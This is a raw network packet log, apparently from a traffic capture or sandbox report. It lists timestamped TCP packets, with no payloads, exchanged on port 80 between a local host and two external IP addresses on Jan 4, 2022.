Jan 4, 2022 19:33:59.817625999 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.817641973 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.817653894 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.817698002 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.817751884 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.817754984 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.817794085 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.817846060 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.817847013 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.817899942 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.817949057 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.817950964 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.817989111 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.818027020 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.818037033 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.818065882 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.818104982 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.818111897 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.818141937 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.818180084 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.818202972 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.818223000 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.818228960 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.818259954 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.818296909 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.818310022 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.818336010 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.818341970 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.818375111 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.818416119 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.818427086 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.818451881 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.818453074 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.818490982 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.818530083 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.818542004 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.818567038 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.818588018 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.818604946 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.818639994 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.818646908 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.818661928 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.818686008 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.818725109 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.818732023 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.818762064 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.818799973 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.818805933 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.818837881 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.818873882 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.818885088 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.818912029 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.818958044 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.826252937 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.826303005 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.826351881 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.826400995 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.826412916 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.826445103 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.826450109 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.826493979 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.826498032 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.826545954 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.826558113 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.826590061 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.826591969 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.826647043 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.826653957 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.826698065 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.826703072 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.826745033 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.826757908 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.826802015 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.838983059 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.839031935 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.839067936 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.839101076 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.839126110 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.839128017 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.839164019 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.839190006 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.839195967 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.839195967 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.839229107 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.839262009 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.839278936 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.839294910 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.839307070 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.839328051 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.839329004 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.839359999 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.839391947 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.839402914 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.839425087 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.839428902 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.839457035 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.839468002 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.839490891 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.839523077 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.839534998 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.839557886 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.839566946 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.839590073 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.839621067 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.839641094 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.839656115 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.839670897 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.839687109 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.839698076 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.839719057 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.839728117 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.839752913 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.839787006 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.839796066 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.839817047 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.839823961 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.839852095 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.839854956 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.839884996 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.839896917 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.839917898 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.839920044 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.839951992 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.839963913 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.839986086 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.839991093 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.840022087 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.840054989 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.840069056 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.840087891 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.840101004 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.840121031 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.840123892 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.840153933 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.840158939 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.840187073 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.840195894 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.840219975 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.840234041 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.840246916 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.840270996 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.840272903 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.840281963 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.840301991 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.840306044 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.840334892 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.840368986 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.840380907 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.840403080 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.840410948 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.840447903 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.840477943 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.840511084 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.840522051 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.840538025 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.840549946 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.840565920 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.840583086 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.840594053 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.840626001 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.840636015 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.840656996 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.840681076 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.840689898 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.840707064 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.840723038 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.840728045 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.840759039 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.840765953 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.840794086 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.840795040 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.840825081 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.840841055 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.840871096 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.840878010 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.840914011 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.840945005 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.840954065 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.840971947 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.840982914 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.841005087 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.841013908 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.841037035 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.841046095 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.841069937 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.841119051 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.841120005 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.841140985 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.841172934 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.841192007 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.841203928 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.841238976 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.841254950 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.841259956 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.841273069 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.841305017 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.841305017 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.841320038 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.841332912 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.841344118 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.841358900 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.841388941 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.841404915 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.841422081 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.841433048 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.841454983 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.841456890 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.841484070 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.841495991 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.841520071 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.841550112 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.841552973 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.841573954 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.841586113 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.841595888 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.841624022 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.841629028 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.841684103 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.847353935 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.847379923 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.847404003 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.847409964 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.847428083 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.847448111 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.847459078 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.847480059 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.847501993 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.847502947 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.847516060 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.847523928 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.847541094 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.847544909 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.847558022 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.847564936 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.847584009 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.847585917 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.847609043 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.847645998 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.847649097 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.847659111 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.847668886 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.847681999 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.847703934 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.847723961 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.847892046 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.847909927 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.847930908 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.847949982 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.847955942 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.847974062 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.847978115 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.847995996 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.848000050 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.848020077 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.848042011 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.861800909 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.861840010 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.861866951 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.861893892 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.861920118 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.861928940 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.861947060 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.861979008 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.862015009 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.862019062 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.862030983 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.862034082 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.862056017 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.862095118 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.862123013 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.862133980 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.862149954 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.862174988 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.862185955 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.862212896 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.862230062 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.862255096 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.862272978 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.862301111 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.862306118 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.862339973 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.862354994 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.862381935 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.862387896 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.862422943 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.862435102 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.862462997 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.862487078 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.862502098 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.862535954 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.862541914 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.862565994 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.862584114 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.862622976 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.862662077 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.862669945 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.862677097 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.862698078 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.862718105 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.862760067 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.862766981 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.862771988 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.862798929 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.862809896 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.862839937 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.862854958 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.862881899 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.862893105 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.862922907 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.862931013 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.862968922 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.862978935 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.863017082 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.863060951 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.863106966 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.863147974 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.863152027 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.863173962 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.863189936 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.863205910 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.863231897 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.863238096 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.863274097 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.863277912 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.863310099 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.863332987 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.863346100 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.863384962 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.863409042 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.863425970 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.863428116 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.863459110 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.863481998 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.863502026 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.863522053 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.863617897 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.863645077 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:33:59.863651991 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.863675117 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:33:59.863703012 CET	80	49897	65.108.180.72	192.168.2.5
